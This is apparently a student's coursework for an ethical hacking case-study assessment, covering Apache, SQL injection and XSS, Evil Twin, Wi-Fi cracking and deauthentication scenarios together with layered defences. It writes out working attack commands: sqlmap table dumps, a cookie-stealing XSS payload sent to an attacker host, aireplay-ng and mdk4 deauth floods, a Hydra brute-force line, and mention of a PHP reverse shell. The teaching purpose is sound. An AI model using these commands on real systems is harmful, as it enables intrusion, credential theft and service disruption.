

SIMATS ENGINEERING

ASSESSMENT TOOL 3 - CASE STUDY SOLUTIONS

Course Code: ITA14 | Course Name: Ethical Hacking | Total Marks: 100

CO4: Implement network security testing methods by performing web server attacks, analyzing web application vulnerabilities, and assessing wireless network security using Kali Linux. (BT4, BT5)

Question 1: Comprehensive Security Assessment and Hardening of an E-Commerce Web Server

Case Context: Scenario Overview: A mid-sized e-commerce company hosting an Apache Linux web application experienced unauthorized transactions, suspicious HTTP requests in logs (hidden directory traversal, script injection into input fields), and operates on an outdated web server without a Web Application Firewall (WAF).

1. Attack Vector Analysis

- **Web Server Misconfiguration & Outdated Software:** Running obsolete Apache versions (e.g., Apache 2.4.49/2.4.50) creates critical vulnerabilities such as Path Traversal and Remote Code Execution (RCE) (CVE-2021-41773 / CVE-2021-42013), allowing attackers to map unmapped URLs to files outside the document root and execute arbitrary CGI scripts.
- **Input Validation Vulnerabilities:** Lack of server-side sanitization and parameterized inputs allows attackers to execute Cross-Site Scripting (XSS) to hijack user sessions, and SQL Injection (SQLi) to tamper with transaction databases, alter balances, or bypass payment checkpoints.
- **Information Disclosure & Missing WAF:** Default server banners disclose exact Apache version numbers, OS distribution, and enabled modules, eliminating guesswork for attackers during target profiling.

2. Kali Linux Security Assessment Methodology

A systematic penetration testing workflow was executed using Kali Linux tools:

- **a. Reconnaissance (Nmap):** Used to discover active hosts, open ports (80/443), active web service versions, and OS fingerprinting.

Syntax: Command: `nmap -sV -sC -O -T4 -p 80,443 <target_ip>`

- **b. Vulnerability Scanning (Nikto):** Web vulnerability scanning against Apache to identify outdated server versions, dangerous HTTP methods, configuration errors, and known CVEs.

Syntax: Command: `nikto -h http://<target_ip> -Tuning 1,2,3,b`

- **c. Directory & Asset Discovery (Gobuster / Dirb):** High-speed directory enumeration using common web wordlists (e.g., directory-list-2.3-medium.txt) to uncover hidden admin portals, backup files (.sql/.bak), and unlinked endpoints.

Syntax: Command: `gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt`

- **d. Exploitation & Validation (Burp Suite & Metasploit):** Intercepting and manipulating HTTP POST/GET transaction requests, bypassing client-side validation, and crafting proof-of-concept payloads for Path Traversal or RCE using Metasploit modules.

Syntax: Metasploit Module: `use exploit/multi/http/apache_normalize_path_rce`

3. Layered Defense Strategy (Defense-in-Depth)

Recommended Multi-Layer Remediation Controls

- **Server Hardening:** Upgrade Apache to the latest stable release; disable directory indexing ('Options - Indexes'); configure 'ServerTokens Prod' and 'ServerSignature Off' to conceal server banners; run Apache under a dedicated, unprivileged user/group with strict file permissions (chown/chmod).
- **Secure Coding Practices:** Implement strict whitelist input validation; utilize parameterized queries (PDO / Prepared Statements) to neutralize injection; enforce contextual output encoding (HTML, JavaScript, URL); implement CSRF tokens and secure session cookies (HttpOnly, Secure, SameSite=Strict).
- **Network & Perimeter Protections:** Deploy a Web Application Firewall (WAF) such as ModSecurity with the OWASP Core Rule Set (CRS) or Cloudflare WAF; enforce HTTPS/TLS 1.3 with HSTS; deploy Host-based Intrusion Detection (HIDS) like OSSEC/Wazuh and Fail2ban to block automated brute-force attacks.

Question 2: Security Audit and Vulnerability Assessment of Financial Services Application

Case Context: Scenario Overview: A financial services web application exposes database structure via verbose error messages and fails to sanitize user inputs, leaving it vulnerable to SQL Injection (SQLi) and Cross-Site Scripting (XSS).

1. Mechanics and Exploitation Analysis

- **SQL Injection (SQLi):** When untrusted user input is directly concatenated into SQL queries without sanitization or parameterization, attackers inject SQL metacharacters (e.g., ' OR 1=1--, UNION SELECT). Verbose database error messages expose table schemas, column names, and database versions, accelerating data exfiltration, authentication bypass, and administrative takeover.
- **Cross-Site Scripting (XSS):** Stored or Reflected XSS occurs when malicious JavaScript injected into input fields is stored or reflected back to clients without proper encoding. When legitimate users view the affected page, the malicious script executes in their browser context, enabling session cookie theft, credential harvesting via fake overlays, and unauthorized balance transfers.

2. Step-by-Step Testing Methodology Using Kali Linux

Step 1: Traffic Interception & Manual Fuzzing (Burp Suite)

- Route browser traffic through Burp Suite Proxy (127.0.0.1:8080). Intercept transaction and login POST requests, send them to Repeater, and inject fuzzing strings (', ", OR 1=1, <script>alert(1)</script>) to observe application response behavior and error triggers.

Step 2: Automated SQL Injection Exploitation (SQLmap)

- Extract vulnerable HTTP requests from Burp Suite (saved as request.txt) and execute SQLmap to automate database enumeration, schema extraction, and proof-of-exploit verification:
 - **Database Enumeration:** sqlmap -r request.txt --batch --dbs
 - **Table Enumeration:** sqlmap -r request.txt -D bank_db --tables
 - **Data Exfiltration:** sqlmap -r request.txt -D bank_db -T accounts --dump

Step 3: XSS Validation and Session Hijacking

- Inject contextual payloads into profile/account remarks fields (e.g., <script>fetch('http://attacker-kali:8000/log?cookie='+document.cookie)</script>) to verify stored execution and exfiltrate session identifiers.

3. Evaluation of Impact on the CIA Triad

- **Confidentiality:** Severe. Attackers extract sensitive Personally Identifiable Information (PII), account numbers, transaction histories, and financial records via SQLi UNION-based or blind extraction.
- **Integrity:** Critical. Attackers can execute UPDATE/DELETE SQL statements to alter user account balances, falsify transaction logs, modify recipient details, or execute unauthorized transactions via XSS-driven CSRF.
- **Availability:** High. Malicious actors can execute database locking queries (e.g., BENCHMARK(), heavy nested joins) or drop essential tables (DROP TABLE), causing complete application denial of service.

4. Comprehensive Mitigation and Security Controls

Remediation and Defense Architecture

- **Parameterized Queries / ORM:** Mandate Prepared Statements with parameterized queries across all database drivers to separate code from user-supplied data.
- **Contextual Output Encoding & Sanitization:** Implement context-aware HTML entity encoding (using libraries like OWASP Java Encoder or DOMPurify) before rendering user data in the DOM.
- **Secure Session & Cookie Controls:** Set the HttpOnly flag on session cookies to block JavaScript access (mitigating XSS session theft); enforce Secure, SameSite=Strict, and short session timeouts.
- **Generic Error Handling:** Disable verbose database error printing; replace database stack traces with generic, user-friendly error messages while logging raw errors to a secure internal SIEM.
- **Content Security Policy (CSP):** Deploy strict HTTP response headers: Content-Security-Policy: default-src 'self'; script-src 'self'; to block unauthorized inline and external script execution.

Question 3: Wireless Security Audit and Rogue Access Point (Evil Twin) Countermeasures

Case Context: Scenario Overview: A corporate wireless network utilizing WPA2-PSK was compromised via a rogue AP (Evil Twin) mimicking the official SSID, prompting unusual login pages, degrading performance, and intercepting corporate credentials.

1. Attack Execution & Interception Mechanism

- **Rogue AP Setup:** The attacker establishes a software-based Access Point using a high-gain wireless adapter configured with the identical SSID (and often cloned BSSID/MAC) as the target corporate network.
- **Forced Deauthentication:** The attacker transmits 802.11 deauthentication/disassociation broadcast packets (using aireplay-ng or mdk4) targeting legitimate clients connected to the real AP. Because 802.11 management frames are unencrypted in standard WPA2, clients are forced to disconnect.
- **Association & Captive Portal Harvesting:** Wireless client devices automatically reconnect to the AP broadcasting the strongest signal. The attacker's rogue AP offers stronger RF power, capturing re-associating clients.
- **Man-in-the-Middle (MITM):** The rogue AP runs a local DHCP and DNS server (dnsmasq), redirecting all HTTP/HTTPS client traffic to a phishing captive portal that prompts employees for domain/corporate credentials or intercepts cleartext credentials via SSL stripping.

2. Detection and Analysis Using Kali Linux Tools

- **a. Airmmon-ng & Airodump-ng:** Put the wireless interface into monitor mode and continuously monitor surrounding 802.11 beacon frames.

Syntax: Commands: `airmon-ng start wlan0`; `airodump-ng wlan0mon --essid "Corporate-WiFi"`

Indicator: Analysis: Identifies multiple BSSIDs broadcasting the same ESSID on differing channels with anomalous BSSID vendors or mismatched signal strengths.

- **b. Wireshark Packet Inspection:** Capture and inspect 802.11 management frames to detect high-frequency Deauth storms and examine captive portal HTTP redirection traffic.

Display Filters: Filter 1 (Deauth Flooding): `wlan.fc.type_subtype == 0x000c`

Filter 2 (Duplicate Beacons): `wlan.ssid == "Corporate-WiFi"`

3. Weaknesses in Existing WPA2-PSK Configuration

- **Shared Static Secret:** Every employee shares the identical Pre-Shared Key; compromise of the passphrase allows anyone to decrypt over-the-air traffic and clone the network profile.
- **No Mutual Server Authentication:** Clients do not cryptographically authenticate the identity of the Access Point; they rely solely on matching SSID and passphrase.
- **Lack of Protected Management Frames:** Legacy 802.11 standards do not authenticate management frames, making deauthentication and association spoofing trivial.

4. Robust Countermeasures and Remediation

Enterprise Wireless Hardening Solutions

- **Enterprise 802.1X / EAP-TLS:** Migrate from WPA2-PSK to WPA2/WPA3-Enterprise using 802.1X authentication with EAP-TLS or PEAP-MSCHAPv2 tied to a RADIUS server (e.g., FreeRADIUS, Microsoft NPS). EAP-TLS enforces mutual authentication using digital certificates, preventing rogue AP connections.
- **Protected Management Frames (802.11w / PMF):** Mandate 802.11w (PMF) on all APs and clients to cryptographically sign management and deauthentication frames, rendering deauth attacks ineffective.
- **Wireless Intrusion Detection / Prevention (WIDS/WIPS):** Deploy dedicated 24/7 sensor APs running WIDS/WIPS to monitor the RF spectrum, automatically detect rogue BSSIDs broadcasting corporate SSIDs, and suppress unauthorized APs.
- **User Security Awareness & MDM:** Enforce Mobile Device Management (MDM) profiles that prevent manual trust of untrusted root CAs and educate employees never to enter domain credentials into unexpected browser captive portals.

Question 4: End-to-End Attack Chain Analysis (Wireless Compromise to Web Privilege Escalation)

Case Context: Scenario Overview: An internal employee management system hosted on a Wi-Fi network was fully compromised due to weak wireless passwords, insecure internal web authentication, and broken session management.

1. Comprehensive Attack Chain Breakdown & Kali Tooling

Step 1: Phase 1: Wireless Network Compromise

- **Technique:** The attacker enables monitor mode (airmon-ng start wlan0), captures the 4-way WPA2 handshake during client association or by sending targeted deauth packets (airodump-ng --bssid <BSSID> -c <CH> -w capture wlan0mon; aireplay-ng -0 5 -a <BSSID> -c <Client_MAC> wlan0mon).
- **Cracking:** Using aircrack-ng or hashcat with standard wordlists (rockyou.txt), the weak pre-shared key is cracked offline, granting full Layer 2/3 internal network access.

Step 2: Phase 2: Internal Reconnaissance & Service Enumeration

- **Host Discovery:** The attacker identifies live internal hosts using netdiscover or arp-scan, followed by comprehensive Nmap port scanning.

Syntax: Command: `nmap -sV -sC -p- -T4 192.168.1.0/24 -oA internal_scan`

- **Findings:** Discovers port 80/8080 hosting the internal Employee Management System built on an unhardened web stack.

Step 3: Phase 3: Web Application Exploitation & Initial Access

- **Vulnerability Analysis:** Using Burp Suite, the attacker maps the web application endpoints and tests login parameters. The application suffers from Broken Authentication (lack of rate limiting, predictable default credentials, or SQL injection in login auth).

- **Exploit Execution:** The attacker executes an authentication bypass payload or brute-forces employee accounts via Hydra (hydra -l users.txt -P passwords.txt <IP> http-post-form "/login.php:...") to obtain low-privileged employee credentials.

Step 4: Phase 4: Privilege Escalation & Data Exfiltration

- **Horizontal & Vertical Escalation:** The attacker discovers Insecure Direct Object References (IDOR) in the API endpoint (/api/v1/employee?id=102 -> /api/v1/employee?id=1) or exploits Vertical Privilege Escalation by tampering with role parameters (e.g., changing role: "employee" to role: "admin" in JWT/session tokens).
- **Reverse Shell / OS Access:** Alternatively, an unrestricted file upload vulnerability in the profile photo feature is used to upload a PHP reverse shell (pentestmonkey/php-reverse-shell), yielding a meterpreter session on the Linux host.
- **System-level Escalation:** Linux privilege escalation scripts (LinPEAS / sudo -l / SUID misconfigurations) escalate local access to root, permitting complete exfiltration of confidential employee databases.

2. Defense-in-Depth Security Framework

Holistic Enterprise Security Architecture

- **Layer 1 - Wireless Perimeter:** Enforce WPA3-Enterprise / 802.1X with client certificates. Segregate guest and internal Wi-Fi networks using dedicated VLANs; isolate wireless clients from accessing critical internal servers directly.
- **Layer 2 - Network Segmentation & Zero Trust:** Implement Micro-segmentation and Zero Trust Network Architecture (ZTNA). Require internal staff to authenticate through a secure bastion host or VPN with Multi-Factor Authentication (MFA) prior to accessing management systems.
- **Layer 3 - Web Application Security:** Implement robust role-based access control (RBAC), cryptographically signed and validated session tokens (HMAC-SHA256 JWTs with server-side validation), strict input validation, and account lockout policies.
- **Layer 4 - Host & Database Hardening:** Enforce the Principle of Least Privilege on database and web service accounts; disable dangerous PHP execution functions (exec, system); implement full disk and column-level database encryption.

Question 5: Wireless Deauthentication Denial of Service (DoS) Analysis and Mitigation

Case Context: Scenario Overview: A university campus faces severe Wi-Fi disruptions during peak hours caused by continuous automated 802.11 deauthentication attacks targeting access points and disconnecting legitimate users.

1. Underlying Protocol Weaknesses & Attack Execution

- **Protocol Architecture Flaw:** In the legacy IEEE 802.11 standard (and standard WPA/WPA2-PSK/Enterprise configurations), management frames (such as Deauthentication (Type 0, Subtype 12) and Disassociation (Type 0, Subtype 10)) are transmitted in cleartext without cryptographic message integrity or origin authentication.
- **Spoofing Mechanism:** Any device capable of packet injection can craft an 802.11 management frame spoofing the BSSID (MAC address) of the legitimate Access Point or client device and send it to the broadcast address (FF:FF:FF:FF:FF:FF).
- **Denial of Service Cycle:** Upon receiving the spoofed deauth frame, the receiving client device or AP immediately terminates the authenticated session, forcing disconnection and perpetual re-association attempts.

2. Simulation and Analysis in Controlled Kali Linux Lab

- **Step 1: Monitor Mode Activation:** Configure an external wireless adapter into monitor mode to capture and inject raw 802.11 frames.

Command: `airmon-ng start wlan0`

- **Step 2: Network Reconnaissance:** Scan the wireless environment to identify target AP BSSID, channel number, and active client MAC addresses.

Command: `airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 wlan0mon`

- **Step 3: Controlled Attack Simulation:** Execute targeted or broadcast deauthentication frames to observe client disconnection behavior.
 - **Aireplay-ng:** Targeted: `aireplay-ng -0 10 -a 00:14:6C:7E:40:80 -c <CLIENT_MAC> wlan0mon`
 - **MDK4 Tool:** Broadcast / Channel Jamming: `mdk4 wlan0mon d -b blacklist_bssids.txt -c 6`
- **Step 4: Packet Analysis:** Capture traffic using Wireshark and filter for subtype 12 to measure packet volume, frequency, and source MAC patterns.

Syntax: Wireshark Filter: `(wlan.fc.type == 0) && (wlan.fc.subtype == 12)`

3. Evaluation of Impact on Availability & Campus Operations

- **Direct Availability Loss:** Users experience immediate session termination, inability to complete online exams, interrupted lecture streaming, and failed research workflows.
- **Network Infrastructure Degradation:** Continuous deauthentication induces an avalanche of 4-way handshakes and DHCP requests, overloading AP processors and exhausting DHCP IP pools.
- **Secondary Attack Vector:** Attackers can leverage deauthentication to force clients onto rogue APs or capture handshakes for offline cracking.

4. Effective Mitigation and Hardening Strategies

Campus Wireless Defense Implementation

- **Enable 802.11w (Protected Management Frames - PMF):** Configure APs to enforce 802.11w (PMF

Required or Optional). PMF uses the Broadcast Integrity Protocol (BIP / AES-128-CMAC) to cryptographically sign and authenticate management frames, causing devices to discard spoofed deauth packets.

- **Transition to WPA3-Enterprise:** Upgrade campus SSIDs to WPA3-Enterprise, where 802.11w PMF is strictly mandatory, completely eliminating unauthenticated deauthentication vulnerabilities.
- **WIDS/WIPS Integration:** Deploy campus-wide Wireless Intrusion Detection Systems (e.g., Cisco CleanAir, Aruba AirWave/Central) with automated signature detection to detect deauth flooding thresholds and triangulate physical attacker location via RF signal triangulation.
- **Dynamic Channel & Power Allocation (RRM):** Implement dynamic Radio Resource Management to automatically shift AP channels and optimize transmission power when local RF jamming or interference is detected.

Academic Integrity & Submission Details

Code of Conduct Attestation:

"I certify that this submission is my original work and that I have adhered to the guidelines specified for this assessment. I understand that any violation of academic integrity rules will result in disciplinary action."

Student Name: Aakash R

Course: ITA14 - Ethical Hacking (Assessment Tool 3 - Case Study)